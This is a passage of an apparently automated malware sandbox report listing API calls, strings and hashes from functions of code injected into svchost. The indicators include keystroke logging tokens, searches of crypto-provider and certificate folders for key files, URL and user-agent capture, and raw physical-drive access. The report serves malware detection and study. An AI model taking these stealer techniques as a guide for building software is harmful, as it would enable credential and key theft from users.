                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,00000000), ref: 02C81C46
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,02C83142,?,?,?,00000000), ref: 02C81C66
                                                                                                                                                                                                            • HeapReAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C81C6D
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$AllocValidatememset$AncestorFreeTextWindow
                                                                                                                                                                                                            • String ID: [bks]$[del]$[ins]$[ret]$[tab]
                                                                                                                                                                                                            • API String ID: 4095246728-233650549
                                                                                                                                                                                                            • Opcode ID: 1fe5b6ceba38fa2ef0e36c1ed7f9f926612c882d500b9cf1e6cc991abbf892d1
                                                                                                                                                                                                            • Instruction ID: 7c5269ea7c08bc0399d571e4fe4db444f479d83ea25b64e7ed57dd8896304e30
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1fe5b6ceba38fa2ef0e36c1ed7f9f926612c882d500b9cf1e6cc991abbf892d1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6751B171D40259EBCB06DF68D844BEABBF4EF85704F08C69AE9599B340E7709605CFA0
                                                                                                                                                                                                            Function 02C92320 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 61COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C92337
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02C92344
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02C92394
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02C923AC
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02C923B5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,?), ref: 02C923C5
                                                                                                                                                                                                              • Part of subcall function 02C92180: PathAddBackslashA.SHLWAPI(82C31D7D), ref: 02C921B0
                                                                                                                                                                                                              • Part of subcall function 02C92180: CreateDirectoryA.KERNEL32(?,00000000), ref: 02C921F1
                                                                                                                                                                                                              • Part of subcall function 02C92180: GetLastError.KERNEL32 ref: 02C921FB
                                                                                                                                                                                                              • Part of subcall function 02C92180: IsUserAnAdmin.SHELL32 ref: 02C92203
                                                                                                                                                                                                              • Part of subcall function 02C92180: PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92214
                                                                                                                                                                                                              • Part of subcall function 02C92180: SetLastError.KERNEL32(00000000), ref: 02C9221B
                                                                                                                                                                                                              • Part of subcall function 02C92180: SetCurrentDirectoryA.KERNEL32(?), ref: 02C92228
                                                                                                                                                                                                              • Part of subcall function 02C92180: PathAddBackslashA.SHLWAPI(82C31D7D,?,02C923DC), ref: 02C92297
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31D7D), ref: 02C923E6
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$Backslash$CharDirectoryErrorFileLastNameUpper$AdminCreateCurrentFindFolderMakeModulePrivateProfileStringSystemUser
                                                                                                                                                                                                            • String ID: 82C31D7D$DefaultPrivateDir$General$STF$interpro.ini
                                                                                                                                                                                                            • API String ID: 2256374885-1638666600
                                                                                                                                                                                                            • Opcode ID: b66f6dc5e5c46e1dbcd552899d16f3e85ff613814c317f93073df216e5ed2817
                                                                                                                                                                                                            • Instruction ID: bd3d41e6ccc1ab58686192a431e20eef7b7d56b6ab04b4250f60db2969be4403
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b66f6dc5e5c46e1dbcd552899d16f3e85ff613814c317f93073df216e5ed2817
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B111B7B5980258AFEB11DB64DC88FD7777DEF94700F0087D5E94997140DAB09694CF50
                                                                                                                                                                                                            Function 02C82030 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 86fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C82051
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(02CCBADC,?,?,?), ref: 02C82068
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(02CCBADC,?,?,?), ref: 02C82078
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C820A5
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02C820C7
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,00000104,02C82265,00000000,00000000,76229300), ref: 02C820FB
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,02C82265), ref: 02C82112
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C82123
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHandle$CloseCreateCurrentDirectoryDriveInformationTypeWrite_snprintfmemset
                                                                                                                                                                                                            • String ID: \\.\PhysicalDrive%u
                                                                                                                                                                                                            • API String ID: 1874144376-3292898883
                                                                                                                                                                                                            • Opcode ID: 3ee585f743a4ea84abc023b537e90a069510e70f219c765b8d1bfac83f861e4a
                                                                                                                                                                                                            • Instruction ID: 18f3149309e499d998e30ee7a0284b8f21fa454f41ee8954f8bd106cee32a35a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3ee585f743a4ea84abc023b537e90a069510e70f219c765b8d1bfac83f861e4a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9321D671D81254A7E722E654DC4DBE9B3ACDF44719F208689FE44A60C0D7B45F848AA2
                                                                                                                                                                                                            Function 02C7C9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57stringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: wsprintf$ComputerNamelstrlen
                                                                                                                                                                                                            • String ID: MSCTF.Shared.MAPPING.%x$MSCTF.Shared.MUTEX.%x
                                                                                                                                                                                                            • API String ID: 776485234-1938657081
                                                                                                                                                                                                            • Opcode ID: 34c49a98c2f3da91a95aee6fd643c74d9e5d278e1fff4f1a5c1e83be57eb9a20
                                                                                                                                                                                                            • Instruction ID: 4f281b4965ab4645f2a855e6039ddb837b837f02e4bdfe07565213358f8d337e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 34c49a98c2f3da91a95aee6fd643c74d9e5d278e1fff4f1a5c1e83be57eb9a20
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6A012D72ED02587DF22666E5AC47DF77B5CDF81A52F410776F84752040D9A05E00CAB2
                                                                                                                                                                                                            Function 02C9E6D0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • setsockopt.WS2_32(?,00000006,00000001,02C98817,00000004), ref: 02C9E737
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: setsockopt
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3981526788-0
                                                                                                                                                                                                            • Opcode ID: c90b312789074b0205176c452a4f2296d311b816923bfb5513e3d95fbb56f09d
                                                                                                                                                                                                            • Instruction ID: 8809aeba94acb1b4cd9fd2406f2df005efe3646a09cd2de55401464d0af224d0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c90b312789074b0205176c452a4f2296d311b816923bfb5513e3d95fbb56f09d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D4519F70A00B01ABEB20CF79C888BD7B7F5EF85714F60895ED56E87280DB31A6019B50
                                                                                                                                                                                                            Function 02C91150 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C9116E
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02C91193
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,\clmain.exe), ref: 02C911A5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileModuleNamememset
                                                                                                                                                                                                            • String ID: \clmain.exe
                                                                                                                                                                                                            • API String ID: 350293641-582869414
                                                                                                                                                                                                            • Opcode ID: 07b77963ca84e51e3e4e4426c7f825cba2275471efa8de69b28ec33cb12ce073
                                                                                                                                                                                                            • Instruction ID: 8612c5f56324f6a3a35b79f9aaee419075629bab937a1ab13b56e47f2d9977c4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 07b77963ca84e51e3e4e4426c7f825cba2275471efa8de69b28ec33cb12ce073
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 97F0AE719942086BEB54D6749C46BE573ACDB54705F0006D5EA4DC60C0E7F155D88A91
                                                                                                                                                                                                            Function 02C9C3DB Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C9C3F9
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02C9C43E
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 02C9C4B2
                                                                                                                                                                                                            • free.MSVCRT ref: 02C9C4DF
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Drive$ErrorLogicalModeStringsTypefree
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2496910992-0
                                                                                                                                                                                                            • Opcode ID: 8c72acc23544a2b183772906408102910aa18aa9b5e8c7a720d7394e280cae27
                                                                                                                                                                                                            • Instruction ID: ddda68bf6b47aa3effb100a9642183e40d22baf30358de738433dca4d76275b1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8c72acc23544a2b183772906408102910aa18aa9b5e8c7a720d7394e280cae27
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EC313A7270429E8FCF10CE98E8886FE7758EF5A354F1006A3E94587241D7318766CBA2
                                                                                                                                                                                                            Function 02C8F1B0 Relevance: 86.1, APIs: 42, Strings: 7, Instructions: 347memorysleepstringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8F1D0
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3199d), ref: 02C8F1F7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F235
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8F23F
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8F247
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F259
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8F260
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C8F29C
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C8F2AA
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82c3199d,?,?), ref: 02C8F2E5
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8F31F
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8F329
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8F331
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8F340
                                                                                                                                                                                                              • Part of subcall function 02C96FF0: UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000,?), ref: 02C97017
                                                                                                                                                                                                              • Part of subcall function 02C96FF0: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97037
                                                                                                                                                                                                              • Part of subcall function 02C96FF0: CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97048
                                                                                                                                                                                                              • Part of subcall function 02C96FF0: GetHandleInformation.KERNEL32(?,?,00000000,00000000,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97061
                                                                                                                                                                                                              • Part of subcall function 02C96FF0: CloseHandle.KERNEL32(?,?,?,02C97C88,00000000,00000000,75AF5CE0,?,02C82855,00000000,00000000,00000000,00000000), ref: 02C97072
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8F347
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8F375
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8F3A0
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8F3EB
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,secret.key,00000104), ref: 02C8F405
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8F448
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,secret.key,00000104,?,secret.key,00000002), ref: 02C8F462
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8,?,?,02CB854C,00000002), ref: 02C8F487
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8F4CA
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(?,pubkeys.key,00000104), ref: 02C8F4E4
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8,?,?,pubkeys.key,00000002), ref: 02C8F509
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?), ref: 02C8F540
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8F543
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8F550
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8F553
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14},?), ref: 02C8F562
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C8F573
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C8F57A
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32 ref: 02C8F58E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8F5A0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,pubkeys.key,00000002), ref: 02C8F5CD
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8F5D0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8F5DD
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8F5E0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,pubkeys.key,00000002), ref: 02C8F5E9
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8F5EC
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F5FD
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8F600
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$HandleProcess$ErrorFileLastPathmemset$CloseCreateDirectoryFreeInformationSleepValidatelstrcpyn$AdminAttributesBackslashFolderMakeMutexSystemUser$CurrentDeleteReleaseUnmapView
                                                                                                                                                                                                            • String ID: 82c3199d$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}$P0#v$keys.zip$path.txt$pubkeys.key$secret.key
                                                                                                                                                                                                            • API String ID: 3271848171-1499704211
                                                                                                                                                                                                            • Opcode ID: e534e97740f12aed5e9c04bac7b4ab18669707fe01db89cb9ad0c100e8591fb1
                                                                                                                                                                                                            • Instruction ID: edd937d9dd211fdf14849e06959a517aaf84cf3747b41e19b0852adfee06e489
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e534e97740f12aed5e9c04bac7b4ab18669707fe01db89cb9ad0c100e8591fb1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 06C13771A44385AFE722AF74DC49BAB7BE8EF85708F448A5CF54987140DB70D608CBA1
                                                                                                                                                                                                            Function 02C7F860 Relevance: 75.6, APIs: 40, Strings: 3, Instructions: 311memorynetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110,?,?,?), ref: 02C7F8A1
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7F8A4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F8BE
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000022,00000000,?), ref: 02C7F8DE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C7F8FF
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7F902
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F917
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C7F92D
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02C7F949
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000015,?,00000000), ref: 02C7F95C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110), ref: 02C7F96C
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7F96F
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7F98A
                                                                                                                                                                                                            • InternetQueryOptionA.WININET(?,00000029,00000000,00000104), ref: 02C7F99D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C7F9E9
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7F9EC
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7FA00
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7FA10
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02C7FA1E
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C7FA60
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7FA8C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7FA8F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7FA9C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7FA9F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAAB
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7FAAE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FABB
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7FABE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAD4
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7FAD7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FAE4
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7FAE7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?), ref: 02C7FB06
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7FB0F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB18
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7FB1B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB27
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7FB2A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C7FB33
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7FB36
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidatememset$AllocInternetOptionQuery$FileModuleName_snprintfmemcpy
                                                                                                                                                                                                            • String ID: UserAgent$[[[URL: %s%sProcess: %sUser-agent: %s]]]{{{%s$}}}
                                                                                                                                                                                                            • API String ID: 1808236364-2343086565
                                                                                                                                                                                                            • Opcode ID: 5059307e4bb5ab225c1b9cbe16d8d201204079fcf2b91f4c19c6fad84db03181
                                                                                                                                                                                                            • Instruction ID: 79b30ae1e4b622c55ed223cae5a6f65302ab7b872334e227b12909a26e2ec0b2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5059307e4bb5ab225c1b9cbe16d8d201204079fcf2b91f4c19c6fad84db03181
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F9A1E471D40219ABDB11DFA89C89FEFBBB8EF84714F048549F904A7280DB709E05CBA1
                                                                                                                                                                                                            Function 02C8C9E0 Relevance: 68.4, APIs: 25, Strings: 14, Instructions: 184threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,self.cer,00000000,00000000,00000000,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA1A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA28
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000001,02CB4230,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CA35
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\micros~\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAA7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\maxthon3\public\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAB7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\microsoft\crypto\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAC7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\crypto pro\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAD7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\progra~1\crypto~1\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAE7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\temporary internet files\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CAF7
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,:\users\public,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB07
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,02CB81F4,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB17
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,02CB4230,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB23
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cryptokit\,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB33
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,:\progra~1\common~1\crypto~1,?,02C7107F,00000000,?,02C7149C,00000000,?), ref: 02C8CB3F
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8B260,?,00000000,00000000), ref: 02C8CB62
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
